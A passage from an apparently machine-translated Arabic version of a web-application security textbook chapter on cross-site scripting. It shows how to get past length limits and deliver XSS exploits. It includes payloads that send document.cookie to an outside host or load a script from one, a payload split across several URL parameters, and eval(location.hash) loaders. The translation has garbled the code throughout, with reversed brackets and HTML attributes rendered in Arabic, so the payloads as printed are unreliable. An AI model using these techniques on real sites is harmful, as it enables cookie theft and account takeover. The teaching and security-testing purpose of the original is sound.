‫ﻫﺎﻣﺎًﻟﻠﺘﻮﺻﻴﺔ ﺍﻟﻘﻴﺎﺳﻴﺔ ﺑﺘﺮﻣﻴﺰ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻠﻐﺔ ‪ HTML‬ﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ ‪ .XSS‬ﻓﻲ ﻫﺬﺍ‬
‫ﺍﻟﺴﻴﺎﻕﺍﻟﻨﺤﻮﻱ‪ ،‬ﻻ ﻳﻌُﺪ ﺗﺮﻣﻴﺰ ‪ HTML‬ﻋﺎﺉﻘﺎً ﺃﻣﺎﻡ ﺍﻟﻬﺠﻮﻡ ﺑﺎﻟﻀﺮﻭﺭﺓ‪ ،‬ﺑﻞ ﻗﺪ ﻳﺴﺘﺨﺪﻣﻪ ﺍﻟﻤﻬﺎﺟﻢ‬
‫ﻧﻔﺴﻪﻟﻼﻟﺘﻔﺎﻑ ﻋﻠﻰ ﺩﻓﺎﻋﺎﺕ ﺃﺧﺮﻯ‪.‬‬

‫ﺗﺠﺎﻭﺯﺣﺪﻭﺩ ﺍﻟﻄﻮﻝ‬
‫ﻋﻨﺪﻣﺎﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻘﻠﻴﺺ ﺇﺩﺧﺎﻟﻚ ﺇﻟﻰ ﻃﻮﻝ ﺃﻗﺼﻰ ﺛﺎﺑﺖ‪ ،‬ﻳﻜﻮﻥ ﻟﺪﻳﻚ ﺛﻼﺛﺔ ﻃﺮﻕ ﻣﻤﻜﻨﺔ‬
‫ﻹﻧﺸﺎءﺍﺳﺘﻐﻼﻝ ﻓﻌﺎﻝ‪.‬‬
‫ﺍﻟﻄﺮﻳﻘﺔﺍﻷﻭﻟﻰ‪ ،‬ﻭﻫﻲ ﺑﺪﻳﻬﻴﺔ ﻧﻮﻋﺎً ﻣﺎ‪ ،‬ﻫﻲ ﻣﺤﺎﻭﻟﺔ ﺗﻘﺼﻴﺮ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻭﺍﺟﻬﺎﺕ‬
‫ﺑﺮﻣﺠﺔﺗﻄﺒﻴﻘﺎﺕ ‪ JavaScript‬ﺑﺄﻗﺼﺮ ﻃﻮﻝ ﻣﻤﻜﻦ‪ ،‬ﻭﺇﺯﺍﻟﺔ ﺍﻷﺣﺮﻑ ﺍﻟﻤﻀُﻤﻨﺔ ﻋﺎﺩﺓ ًﻭﻟﻜﻨﻬﺎ ﻏﻴﺮ‬
‫ﺿﺮﻭﺭﻳﺔﺗﻤﺎﻣﺎً‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻛﻨﺖ ﺗﺤُﻘﻦ ﻓﻲ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ‪ ،‬ﻓﺈﻥ ﺍﻷﻣﺮ ﺍﻟﺘﺎﻟﻲ‬
‫ﺍﻟﻤﻜﻮﻥﻣﻦ ‪ 28‬ﺑﺎﻳﺖ ﻳﺮُﺳﻞ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺇﻟﻰ ﺍﻟﺨﺎﺩﻡ ﺑﺎﺳﻢ ﺍﻟﻤﻀﻴﻒ‪.‬ﺃ‪:‬‬

‫ﺍﻓﺘﺢ)"‪(a/"+document.cookie//‬‬

‫ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ‪ ،‬ﺇﺫﺍ ﻛﻨﺖ ﺗﻘﻮﻡ ﺑﺎﻟﺤﻘﻦ ﻣﺒﺎﺷﺮﺓ ًﻓﻲ ‪ ،HTML‬ﻓﺈﻥ ﺍﻟﻌﻼﻣﺔ ﺍﻟﺘﺎﻟﻴﺔ ﺍﻟﻤﻜﻮﻧﺔ ﻣﻦ ‪30‬‬
‫ﺑﺎﻳﺖﺗﻘﻮﻡ ﺑﺘﺤﻤﻴﻞ ﻭﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻣﻦ ﺍﻟﺨﺎﺩﻡ ﺑﺎﺳﻢ ﺍﻟﻤﻀﻴﻒﺃ‪:‬‬

‫<‪>script src=http://a<>/script‬‬

‫ﻋﻠﻰﺍﻹﻧﺘﺮﻧﺖ‪ ،‬ﻣﻦ ﺍﻟﻮﺍﺿﺢ ﺃﻥ ﻫﺬﻩ ﺍﻷﻣﺜﻠﺔ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺗﻮﺳﻴﻊ ﻟﺘﺸﻤﻞ ﺍﺳﻢ ﻧﻄﺎﻕ ﺃﻭ ﻋﻨﻮﺍﻥ ‪IP‬‬
‫ﺻﺎﻟﺤﺎً‪.‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻋﻠﻰ ﺷﺒﻜﺔ ﺩﺍﺧﻠﻴﺔ ﻟﻠﺸﺮﻛﺔ‪ ،‬ﻗﺪ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺟﻬﺎﺯ ﻳﺤﻤﻞ ﺍﺳﻢ‬
‫‪.WINS‬ﺃ‬
‫ﻻﺳﺘﻀﺎﻓﺔﺧﺎﺩﻡ ﺍﻟﻤﺘﻠﻘﻲ‪.‬‬

‫ﻧﺼﻴﺤﺔﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺃﺩﺍﺓ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻣﻦ ﺩﻳﻦ ﺇﺩﻭﺍﺭﺩﺯ ﻟﺘﻘﻠﻴﺺ ﺣﺠﻢ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻌﻴﻦ‬
‫ﻗﺪﺭﺍﻹﻣﻜﺎﻥ ﻋﻦ ﻃﺮﻳﻖ ﺇﺯﺍﻟﺔ ﺍﻟﻤﺴﺎﻓﺎﺕ ﻏﻴﺮ ﺍﻟﻀﺮﻭﺭﻳﺔ‪ .‬ﻛﻤﺎ ﺗﺤُﻮﻝّ ﻫﺬﻩ ﺍﻷﺩﺍﺓ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ‬
‫ﺇﻟﻰﺳﻄﺮ ﻭﺍﺣﺪ ﻟﺘﺴﻬﻴﻞ ﺇﺩﺭﺍﺟﻬﺎ ﻓﻲ ﻣﻌﻠﻤﺔ ﺍﻟﻄﻠﺐ‪.‬‬
‫‪http://dean.edwards.name/packer/‬‬

‫ﺍﻟﺘﻘﻨﻴﺔﺍﻟﺜﺎﻧﻴﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﻳﺤُﺘﻤﻞ ﺃﻥ ﺗﻜﻮﻥ ﺃﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ ﻟﺘﺠﺎﻭﺯ ﺣﺪﻭﺩ ﺍﻟﻄﻮﻝ‪ ،‬ﻫﻲ ﺗﻮﺯﻳﻊ ﺣﻤﻮﻟﺔ‬
‫ﺍﻟﻬﺠﻮﻡﻋﺒﺮ ﻣﻮﺍﻗﻊ ﻣﺘﻌﺪﺩﺓ ﻣﺨﺘﻠﻔﺔ‪ ،‬ﺣﻴﺚ ﺗﺪُﺭﺝ ﻣﺪﺧﻼﺕ ﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ‬
‫ﺍﻟﺼﻔﺤﺔﺍﻟﻤﻌُﺎﺩﺓ ﻧﻔﺴﻬﺎ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺍﻧﻈﺮ ﺇﻟﻰ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫‪https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal‬‬

‫ﻳﻘﻮﻡﺑﺈﺭﺟﺎﻉ ﺻﻔﺤﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ ﻳﻠﻲ‪:‬‬

‫>ﺇﺩﺧﺎﻝ ﻧﻮﻉ = "ﻣﺨﻔﻲ" ﺍﺳﻢ = "ﻣﻌﺮﻑ ﺍﻟﺼﻔﺤﺔ" ﻗﻴﻤﺔ = "‪> <"244‬ﺇﺩﺧﺎﻝ ﻧﻮﻉ = "‬
‫ﻣﺨﻔﻲ" ﺍﺳﻢ = "ﺑﺬﺭﺓ" ﻗﻴﻤﺔ = "‪> <"129402931‬ﺇﺩﺧﺎﻝ ﻧﻮﻉ = "ﻣﺨﻔﻲ" ﺍﺳﻢ = "ﺍﻟﻮﺿﻊ‬
‫" ﻗﻴﻤﺔ = "ﻋﺎﺩﻱ"<‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪472‬‬

‫ﻟﻨﻔﺘﺮﺽﺃﻥ ﻟﻜﻞ ﺣﻘﻞ ﻗﻴﻮﺩﺍً ﻋﻠﻰ ﺍﻟﻄﻮﻝ‪ ،‬ﺑﺤﻴﺚ ﻻ ﻳﻤﻜﻦ ﺇﺩﺭﺍﺝ ﺃﻱ ﺳﻠﺴﻠﺔ ﻫﺠﻮﻣﻴﺔ ﻗﺎﺑﻠﺔ‬
‫ﻟﻠﺘﻄﺒﻴﻖﻓﻲ ﺃﻱ ٍّﻣﻨﻬﺎ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻻ ﻳﺰﺍﻝ ﺑﺈﻣﻜﺎﻧﻚ ﺗﻨﻔﻴﺬ ﺍﺳﺘﻐﻼﻝ ﻓﻌﺎﻝ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻋﻨﻮﺍﻥ ‪URL‬‬
‫ﺍﻟﺘﺎﻟﻲﻟﺘﻮﺳﻴﻊ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﺜﻼﺛﺔ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﻓﻴﻬﺎ‪:‬‬

‫<‪/account.php?page_id=”<>script</*&seed=*/alert)document . cookie(;/*&mode=*/>/script‬‬
‫‪https://myapp.com‬‬

‫ﻋﻨﺪﻣﺎﻳﺘﻢ ﺗﻀﻤﻴﻦ ﻗﻴﻢ ﺍﻟﻤﻌﻠﻤﺎﺕ ﻣﻦ ﻋﻨﻮﺍﻥ ‪ URL‬ﻫﺬﺍ ﻓﻲ ﺍﻟﺼﻔﺤﺔ‪ ،‬ﺗﻜﻮﻥ ﺍﻟﻨﺘﻴﺠﺔ ﻛﻤﺎ ﻳﻠﻲ‪:‬‬

‫>ﻧﻮﻉ ﺍﻹﺩﺧﺎﻝ=”ﻣﺨﻔﻲ” ﺍﻻﺳﻢ=”ﻣﻌﺮﻑ ﺍﻟﺼﻔﺤﺔ” ﺍﻟﻘﻴﻤﺔ=””<>‪<”*/<script‬‬


‫>ﻧﻮﻉ ﺍﻹﺩﺧﺎﻝ=”ﻣﺨﻔﻲ” ﺍﻻﺳﻢ=”ﺍﻟﺒﺬﺭﺓ” ﺍﻟﻘﻴﻤﺔ=”*‪/‬ﺗﻨﺒﻴﻪ)ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ‪(document‬؛‪> <”*/‬ﻧﻮﻉ ﺍﻹﺩﺧﺎﻝ=”‬
‫ﻣﺨﻔﻲ” ﺍﻻﺳﻢ=”ﺍﻟﻮﺿﻊ” ﺍﻟﻘﻴﻤﺔ=”*‪"<">/script</‬‬

‫ﻛﻮﺩ‪ HTML‬ﺍﻟﻨﺎﺗﺞ ﺻﺤﻴﺢ‪ ،‬ﻭﻫﻮ ﻣﻌُﺎﺩﻝ ﻟﻸﺟﺰﺍء ﺍﻟﻤﻜﺘﻮﺑﺔ ﺑﺨﻂ ﻏﺎﻣﻖ ﻓﻘﻂ‪ .‬ﺃﻣﺎ ﺃﺟﺰﺍء ﺍﻟﻜﻮﺩ‬
‫ﺍﻟﻤﺼﺪﺭﻱﺑﻴﻨﻬﻤﺎ‪ ،‬ﻓﻘﺪ ﺃﺻﺒﺤﺖ ﻓﻌﻠﻴﺎً ﺗﻌﻠﻴﻘﺎﺕ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ )ﻣﺤﺎﻃﺔ ﺑﻌﻼﻣﺘﻲ ‪ */‬ﻭ*‪ ،(/‬ﻟﺬﺍ‬
‫ﻳﺘﺠﺎﻫﻠﻬﺎﺍﻟﻤﺘﺼﻔﺢ‪ .‬ﻭﺑﺎﻟﺘﺎﻟﻲ‪ ،‬ﻳﻨُﻔﺬَّ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻛﻤﺎ ﻟﻮ ﺃﻧﻪ ﺃﺩُﺭﺝ ﻛﺎﻣﻼً ﻓﻲ ﻣﻜﺎﻥ ﻭﺍﺣﺪ ﺩﺍﺧﻞ‬
‫ﺍﻟﺼﻔﺤﺔ‪.‬‬

‫ﻧﺼﻴﺤﺔﻳﻤﻜﻦ ﺃﺣﻴﺎﻧﺎً ﺍﺳﺘﺨﺪﺍﻡ ﺗﻘﻨﻴﺔ ﺗﻮﺯﻳﻊ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻋﺒﺮ ﺣﻘﻮﻝ ﻣﺘﻌﺪﺩﺓ ﻟﻠﺘﻐﻠﺐ ﻋﻠﻰ ﺃﻧﻮﺍﻉ‬
‫ﺃﺧﺮﻯﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺪﻓﺎﻋﻴﺔ‪ .‬ﻣﻦ ﺍﻟﺸﺎﺉﻊ ﺟﺪﺍً ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻋﻤﻠﻴﺎﺕ ﺗﺤﻘﻖ ﻭﺗﻄﻬﻴﺮ ﻣﺨﺘﻠﻔﺔ‬
‫ﻟﻠﺒﻴﺎﻧﺎﺕﺗﻨُﻔﺬَّ ﻋﻠﻰ ﺣﻘﻮﻝ ﻣﺨﺘﻠﻔﺔ ﺿﻤﻦ ﺻﻔﺤﺔ ﻭﺍﺣﺪﺓ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺴﺎﺑﻖ‪ ،‬ﻟﻨﻔﺘﺮﺽ‬
‫ﺃﻥﻣﻌﺮﻑ ﺍﻟﺼﻔﺤﺔﻭﻭﺿﻊﺍﻟﻤﻌﻠﻤﺎﺕ ﻣﺤﺪﻭﺩﺓ ﺑـ ‪ ١٢‬ﺣﺮﻓﺎً ﻛﺤﺪ ﺃﻗﺼﻰ‪ .‬ﻭﻷﻥ ﻫﺬﻩ ﺍﻟﺤﻘﻮﻝ ﻗﺼﻴﺮﺓ ﺟﺪﺍً‪،‬‬
‫ﻟﻢﻳﻜُﻠﻒ ﻣﻄﻮﺭﻭ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻧﻔﺴﻬﻢ ﻋﻨﺎء ﺗﻄﺒﻴﻖ ﺃﻱ ﻣﺮﺷﺤﺎﺕ ‪.XSS‬ﺑﺬﺭﺓﻣﻦ ﻧﺎﺣﻴﺔ ﺃﺧﺮﻯ‪ ،‬ﻓﺈﻥ‬
‫ﺍﻟﻤﻌﻠﻤﺔﻏﻴﺮ ﻣﻘﻴﺪﺓ ﻓﻲ ﺍﻟﻄﻮﻝ‪ ،‬ﻟﺬﺍ ﺗﻢ ﺗﻨﻔﻴﺬ ﻣﺮﺷﺤﺎﺕ ﺻﺎﺭﻣﺔ ﻟﻤﻨﻊ ﺣﻘﻦ ﺍﻷﺣﺮﻑ"> ﺃﻭ <‪ .‬ﻓﻲ ﻫﺬﺍ‬
‫ﺍﻟﺴﻴﻨﺎﺭﻳﻮ‪،‬ﻭﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺟﻬﻮﺩ ﺍﻟﻤﻄﻮﺭﻳﻦ‪ ،‬ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺇﺩﺭﺍﺝ ﻧﺺ ﺑﺮﻣﺠﻲ ﻃﻮﻳﻞ ﺑﺸﻜﻞ‬
‫ﻋﺸﻮﺍﺉﻲﻓﻲﺑﺬﺭﺓﺍﻟﻤﻌﻠﻤﺔ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻱ ﻣﻦ ﺍﻷﺣﺮﻑ ﺍﻟﻤﺤﻈﻮﺭﺓ‪ ،‬ﻷﻥ ﺳﻴﺎﻕ ‪ JavaScript‬ﻳﻤﻜﻦ‬
‫ﺇﻧﺸﺎﺅﻩﻋﻦ ﻃﺮﻳﻖ ﺣﻘﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻓﻲ ﺍﻟﺤﻘﻮﻝ ﺍﻟﻤﺤﻴﻄﺔ‪.‬‬

‫ﻫﻨﺎﻙﺗﻘﻨﻴﺔ ﺛﺎﻟﺜﺔ ﻟﺘﺠﺎﻭﺯ ﺣﺪﻭﺩ ﺍﻟﻄﻮﻝ‪ ،‬ﻭﺍﻟﺘﻲ ﻗﺪ ﺗﻜﻮﻥ ﻓﻌﺎّﻟﺔ ﻟﻠﻐﺎﻳﺔ ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻭﻫﻲ "‬
‫ﺗﺤﻮﻳﻞ" ﺛﻐﺮﺓ ‪ XSS‬ﻣﻨﻌﻜﺴﺔ ﺇﻟﻰ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻗﺎﺉﻤﺔ ﻋﻠﻰ ‪ .DOM‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻓﻲ ﺛﻐﺮﺓ ‪XSS‬‬
‫ﺍﻟﻤﻨﻌﻜﺴﺔﺍﻷﺻﻠﻴﺔ‪ ،‬ﺇﺫﺍ ﻓﺮﺽ ﺍﻟﺘﻄﺒﻴﻖ ﻗﻴﺪﺍً ﻋﻠﻰ ﻃﻮﻝﺭﺳﺎﻟﺔﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﻌﻠﻤﺔ ﺍﻟﺘﻲ ﺗﻢ ﻧﺴﺨﻬﺎ ﺇﻟﻰ‬
‫ﺍﻟﺼﻔﺤﺔﺍﻟﻤﺮﺗﺠﻌﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺣﻘﻦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺘﺎﻟﻲ ﺍﻟﻤﻜﻮﻥ ﻣﻦ ‪ 45‬ﺑﺎﻳﺖ‪ ،‬ﻭﺍﻟﺬﻱ ﻳﻘﻮﻡ ﺑﺘﻘﻴﻴﻢ‬
‫ﺳﻠﺴﻠﺔﺍﻟﻤﻘﻄﻊ ﻓﻲ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺤﺎﻟﻲ‪:‬‬

‫<‪>script<eval)location.hash.slice)1((>/script‬‬

‫ﻣﻦﺧﻼﻝ ﺣﻘﻦ ﻫﺬﺍ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻓﻲ ﺍﻟﻤﻌﻠﻤﺔ ﺍﻟﻤﻌﺮﺿﺔ ﻟـ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺲ‪ ،‬ﻳﻤﻜﻨﻚ ﺇﺣﺪﺍﺙ‬
‫ﺛﻐﺮﺓ‪ XSS‬ﻗﺎﺉﻤﺔ ﻋﻠﻰ ‪ DOM‬ﻓﻲ ﺍﻟﺼﻔﺤﺔ ﺍﻟﻨﺎﺗﺠﺔ ﺑﺸﻜﻞ ﻓﻌﺎﻝ‬
‫‪473‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻭﺑﺎﻟﺘﺎﻟﻲ‪،‬ﻧﻔﺬّ ﻧﺼﺎً ﺛﺎﻧﻴﺎً ﻳﻘﻊ ﺿﻤﻦ ﺳﻠﺴﻠﺔ ﺍﻟﺸﻈﺎﻳﺎ‪ ،‬ﻭﻫﻮ ﺧﺎﺭﺝ ﻧﻄﺎﻕ ﺳﻴﻄﺮﺓ ﻣﺮﺷﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﻭﻗﺪﻳﻜﻮﻥ ﻃﻮﻳﻼً ﺑﺸﻜﻞ ﻋﺸﻮﺍﺉﻲ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪:‬‬

‫('‪ ......‬ﺍﻟﻨﺺ ﺍﻟﻄﻮﻳﻞ ﻫﻨﺎ')‪/Error.ashx?message=>script<eval)location.hash . substr)1((>/script<#alert‬‬


‫‪http://mdsec.net/error/5‬‬

‫ﻭﻫﻨﺎﻧﺴﺨﺔ ﺃﻗﺼﺮ ﺗﻌﻤﻞ ﻓﻲ ﻣﻌﻈﻢ ﺍﻟﻤﻮﺍﻗﻒ‪:‬‬


‫('‪ ......‬ﺍﻟﻨﺺ ﺍﻟﻄﻮﻳﻞ ﻫﻨﺎ')‪/5/Error.ashx?message=>script<eval)unescape)location(( >/script<#%0Aalert‬‬
‫‪http://mdsec.net/error‬‬

‫ﻓﻲﻫﺬﺍ ﺍﻹﺻﺪﺍﺭ‪ ،‬ﻳﺘﻢ ﻓﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ ‪ URL‬ﺑﺎﻟﻜﺎﻣﻞ ﺛﻢ ﺗﻤﺮﻳﺮﻩ ﺇﻟﻰ‬


‫ﺗﻘﻴﻴﻢﺍﻷﻣﺮ‪ .‬ﻳﺘﻢ ﺗﻨﻔﻴﺬ ﻋﻨﻮﺍﻥ ‪ URL‬ﺑﺎﻟﻜﺎﻣﻞ ﻛـ ‪ JavaScript‬ﺻﺎﻟﺢ ﻷﻧﻪ‪http:‬‬
‫ﺗﺴُﺘﺨﺪﻡﺑﺎﺩﺉﺔ ﺍﻟﺒﺮﻭﺗﻮﻛﻮﻝ ﻛﻌﻼﻣﺔ ﺭﻣﺰ‪ ،‬ﻭﺗﻌﻤﻞ ‪ //‬ﺍﻟﺘﻲ ﺗﺘﺒﻊ ﺑﺎﺩﺉﺔ ﺍﻟﺒﺮﻭﺗﻮﻛﻮﻝ ﻛﺘﻌﻠﻴﻖ ﻣﻦ ﺳﻄﺮ‬
‫ﻭﺍﺣﺪ‪،‬ﻭﺗﻌﻤﻞ ‪0%‬ﺃﻳﺘﻢ ﻓﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ ‪ URL‬ﻟﻴﺼﺒﺢ ﺳﻄﺮﺍً ﺟﺪﻳﺪﺍً‪ ،‬ﻣﻤﺎ ﻳﺸﻴﺮ ﺇﻟﻰ ﻧﻬﺎﻳﺔ ﺍﻟﺘﻌﻠﻴﻖ‪.‬‬

‫ﺗﻮﻓﻴﺮﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻌﺎﻣﻠﺔ‬
‫ﻋﺎﺩﺓ‪ً،‬ﻋﻨﺪ ﺍﻟﻌﻤﻞ ﻋﻠﻰ ﺛﻐﺮﺓ ‪ XSS‬ﻣﺤﺘﻤﻠﺔ ﻟﻔﻬﻢ ﻣﺮﺷﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻭﺗﺠﺎﻭﺯﻫﺎ‪ ،‬ﻓﺄﻧﺖ ﺗﻌﻤﻞ ﺧﺎﺭﺝ‬
‫ﺍﻟﻤﺘﺼﻔﺢ‪،‬ﺑﺎﺳﺘﺨﺪﺍﻡ ﺃﺩﺍﺓ ﻣﺜﻞ ‪ Burp Repeater‬ﻹﺭﺳﺎﻝ ﻧﻔﺲ ﺍﻟﻄﻠﺐ ﻣﺮﺍﺭﺍً ﻭﺗﻜﺮﺍﺭﺍً‪ ،‬ﻣﻊ ﺗﻌﺪﻳﻞ‬
‫ﺍﻟﻄﻠﺐﺑﺸﻜﻞ ﻃﻔﻴﻒ ﻓﻲ ﻛﻞ ﻣﺮﺓ‪ ،‬ﻭﺍﺧﺘﺒﺎﺭ ﺗﺄﺛﻴﺮﻩ ﻋﻠﻰ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ .‬ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﺑﻌﺪ ﺇﻧﺸﺎء‬
‫ﻫﺠﻮﻡﺇﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ‪ ،‬ﻗﺪ ﻻ ﻳﺰﺍﻝ ﺃﻣﺎﻣﻚ ﻋﻤﻞ ٌﻟﺸﻦ ﻫﺠﻮﻡ ﻋﻤﻠﻲ ﺿﺪ ﻣﺴﺘﺨﺪﻣﻲ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺍﻵﺧﺮﻳﻦ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻗﺪ ﺗﻜﻮﻥ ﻧﻘﻄﺔ ﺩﺧﻮﻝ ‪ XSS‬ﺳﻬﻠﺔ ﺍﻟﺘﺤﻜﻢ ﻓﻲ ﻃﻠﺒﺎﺕ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻵﺧﺮﻳﻦ‪ ،‬ﻣﺜﻞ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺃﻭﺍﻟﻤﺤُﻴﻞﺃﻭ ﻗﺪ ﻳﺴﺘﺨﺪﻡ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ‬
‫ﺍﻟﻤﺴﺘﻬﺪﻓﻮﻥﻣﺘﺼﻔﺤﺎً ﻣﺰﻭﺩﺍً ﺑﺤﻤﺎﻳﺔ ﻣﺪﻣﺠﺔ ﺿﺪ ﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‪ .‬ﻳﺘﻨﺎﻭﻝ ﻫﺬﺍ ﺍﻟﻘﺴﻢ‬
‫ﺍﻟﺘﺤﺪﻳﺎﺕﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﺘﻲ ﻗﺪ ﺗﻨﺸﺄ ﻋﻨﺪ ﺗﻨﻔﻴﺬ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻋﻤﻠﻴﺔ‪ ً،‬ﻭﻛﻴﻔﻴﺔ ﺗﺠﺎﻭﺯﻫﺎ‪.‬‬

‫ﺗﺼﻌﻴﺪﺍﻟﻬﺠﻮﻡ ﺇﻟﻰ ﺻﻔﺤﺎﺕ ﺗﻄﺒﻴﻖ ﺃﺧﺮﻯ‬


‫ﻟﻨﻔﺘﺮﺽﺃﻥ ﺍﻟﺜﻐﺮﺓ ﺍﻷﻣﻨﻴﺔ ﺍﻟﺘﻲ ﺣﺪﺩﺗﻬﺎ ﻣﻮﺟﻮﺩﺓ ﻓﻲ ﻣﻨﻄﻘﺔ ﻏﻴﺮ ﻣﺜﻴﺮﺓ ﻟﻼﻫﺘﻤﺎﻡ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ‪،‬‬
‫ﻭﺗﺆﺛﺮﻓﻘﻂ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻏﻴﺮ ﺍﻟﻤﺼﺎﺩﻕ ﻋﻠﻴﻬﻢ‪ ،‬ﻭﻣﻨﻄﻘﺔ ﻣﺨﺘﻠﻔﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺍﻟﺒﻴﺎﻧﺎﺕ‬
‫ﻭﺍﻟﻮﻇﺎﺉﻒﺍﻟﺤﺴﺎﺳﺔ ﺣﻘﺎً ﺍﻟﺘﻲ ﺗﺮﻳﺪ ﺍﻟﻤﺴﺎﺱ ﺑﻬﺎ‪.‬‬
‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻣﻦ ﺍﻟﺴﻬﻞ ﻋﺎﺩﺓ ًﺗﺼﻤﻴﻢ ﺣﻤﻮﻟﺔ ﻫﺠﻮﻣﻴﺔ ﻳﻤﻜﻨﻚ ﺗﻮﺻﻴﻠﻬﺎ ﻋﺒﺮ ﺧﻄﺄ ‪ XSS‬ﻓﻲ‬
